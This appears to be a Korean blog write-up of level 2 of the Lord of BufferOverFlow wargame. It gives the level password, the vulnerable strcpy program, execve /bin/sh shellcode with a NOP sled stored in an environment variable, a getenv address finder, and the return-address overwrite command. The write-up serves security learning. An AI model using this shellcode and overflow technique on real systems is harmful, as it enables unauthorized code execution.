[Lord Of BufferOverFlow] 2번 gremlin -> cobolt

2021. 2. 23. 02:56·Write-Up/LOB(lord of bufferoverflow)
반응형

login : gremlin

password : hello bof world

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

이전 문제 쉘코드 길이만 해도 25였는데 현재는 16으로 쉘코드도 못넌다.

즉 쉘코드를 넣어줄수 있는 buffer말고 다른곳이 필요하다.

달고나 bof문서에서 환경변수를 이용하는 방법이 나와있다. 이 방법을 이용할것이다.

export (변수명) = (code)

 

export shell =`python -c 'print "\x90"*50 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*50'`

 

이제 해야될것은 저 환경변수 쉘코드의 주소를 알아내는것과

nopsled로 buffer와 ebp를 넣어서 넘기고 환경변수 주소를 ret에 넣어주고 쉘코드를 실행시키는 것이다.

 

vi addr.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char *ptr;
        ptr = getenv(argv[1]);
        printf("%p\n", ptr);
        return 0;
}

 

shell 주소 = 0xbffffe2e 라는걸 알았으니 리틀엔디안 방식으로 넣어주자

../cobolt `python -c 'print "\x90"*20 + "\x2e\xfe\xff\xbf"'`

hacking exposed

 

반응형

'Write-Up > LOB(lord of bufferoverflow)' 카테고리의 다른 글

[Lord Of BufferOverFlow] 6번 wolfman -> darkelf  (0) 2021.02.25
[Lord Of BufferOverFlow] 5번 orc -> wolfman  (0) 2021.02.25
[Lord Of BufferOverFlow] 4번 goblin -> orc  (0) 2021.02.23
[Lord Of BufferOverFlow] 3번 cobolt -> goblin  (0) 2021.02.23
[Lord Of BufferOverFlow] 1번 gate -> gremlin  (0) 2021.02.22
'Write-Up/LOB(lord of bufferoverflow)' 카테고리의 다른 글
  • [Lord Of BufferOverFlow] 5번 orc -> wolfman
  • [Lord Of BufferOverFlow] 4번 goblin -> orc
  • [Lord Of BufferOverFlow] 3번 cobolt -> goblin
  • [Lord Of BufferOverFlow] 1번 gate -> gremlin
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (152) N
      • Java & Spring (4) N
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • DB (1)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    enumerate #list comprehension
    hashmap vs concurrenthashmap
    spring boot
    computeifabsent
    동시성
    concurrenthashmap vs hashmap
    CountDownLatch
    computeifabsent()
    DB정리
    putval()
    Java
    ReentrantLock
    spring
    computeifpresent()
    코드트리
    AQS
    동시성처리
    nop sled
    코드트리조별과제
    LOB
    tabat
    sqlinjection
    ConcurrentHashMap
    AtomicLong
    Lock
    lord of bufferoverflow
    thread-safe
    computeifpresent
    selection sort
    코딩테스트
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord Of BufferOverFlow] 2번 gremlin -> cobolt
상단으로

티스토리툴바